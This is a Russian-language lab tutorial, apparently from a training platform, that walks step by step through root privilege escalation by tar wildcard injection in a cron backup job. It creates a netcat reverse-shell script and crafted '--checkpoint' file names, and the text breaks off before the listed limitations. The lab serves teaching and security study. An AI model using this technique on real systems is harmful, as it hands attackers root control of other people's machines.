Для понимания того, как инъекция подстановочных знаков может привести к повышению привилегий, мы выполним практическое упражнение, связанное с командой tar и утилитой crontab.
-
Сначала инициализируем лабораторную среду, выполнив следующую команду:
Перейдите в каталог /home/labex/project
:
cd /home/labex/project
Запустите скрипт настройки для инициализации лабораторной среды:
./env_setup.sh
После инициализации вы перейдете к пользователю user001
(это имитация атакующего, который получил первоначальный доступ к оболочке).
-
Затем проверим crontab на наличие запланированных задач:
cat /etc/crontab
Ожидаемый вывод:
* * * * * root cd /var/www/html/ && tar -zcf /var/backups/html.tgz *
Вы должны увидеть задачу, запланированную на выполнение каждую минуту, которая архивирует содержимое каталога /var/www/html/
в сжатый файл /var/backups/html.tgz
.
-
Далее посмотрим на файлы внутри каталога /var/www/html
:
ls /var/www/html
Чтобы эксплоитнуть уязвимость инъекции подстановочных знаков, нам нужно создать следующие три файла в каталоге /var/www/html/
.
Сначала перейдите в каталог /var/www/html
:
cd /var/www/html/
-
shell.sh
с содержимым для выполнения обратной оболочки (reverse shell):
echo 'nc.traditional 127.0.0.1 4444 -e /bin/bash' > shell.sh
-
Файл с именем --checkpoint-action=exec=sh shell.sh
(обратите внимание на пробелы в имени файла):
echo "" > "--checkpoint-action=exec=sh shell.sh"
-
Файл с именем --checkpoint=1
:
echo "" > --checkpoint=1
После создания этих файлов каталог /var/www/html/
должен выглядеть так:
'--checkpoint-action=exec=sh shell.sh' '--checkpoint=1' index.html index.nginx-debian.html shell.sh
-
Когда cron- задача выполнит следующую команду:
tar -zcf /var/backups/html.tgz /var/www/html/*
Она будет интерпретирована как:
tar -zcf /var/backups/html.tgz --checkpoint=1 --checkpoint-action=exec=sh shell.sh shell.sh index.html index.nginx-debian.html
Вот что означают эти параметры:
--checkpoint
и --checkpoint-action
обычно используются вместе. Первый устанавливает контрольную точку, а второй определяет действие, которое должно быть выполнено при достижении контрольной точки.
--checkpoint-action=exec=sh shell.sh
означает, что при достижении контрольной точки будет выполнен скрипт shell.sh
.
Таким образом, каждый раз, когда cron- задача запускается, будет выполнен скрипт shell.sh
, который откроет обратную оболочку /bin/bash
на локальном порту 4444.
-
Теперь настроим прослушивание на локальном порту 4444 в текущей оболочке:
nc -lnvp 4444
После небольшого ожидания, когда cron- задача будет выполнена, мы должны получить обратную оболочку с привилегиями суперпользователя (root):
Ожидаемый вывод:
Listening on 0.0.0.0 4444
Connection received on 127.0.0.1 56226
Попробуйте создать файл success.txt
в каталоге /root
, чтобы убедиться, что у вас есть привилегии суперпользователя:
touch /root/success.txt
Если вы можете создать файл без ошибок доступа, вы успешно повысили свои привилегии с помощью инъекции подстановочных знаков.
Есть два важных ограничения для этого метода повышения привилегий с использованием tar и crontab: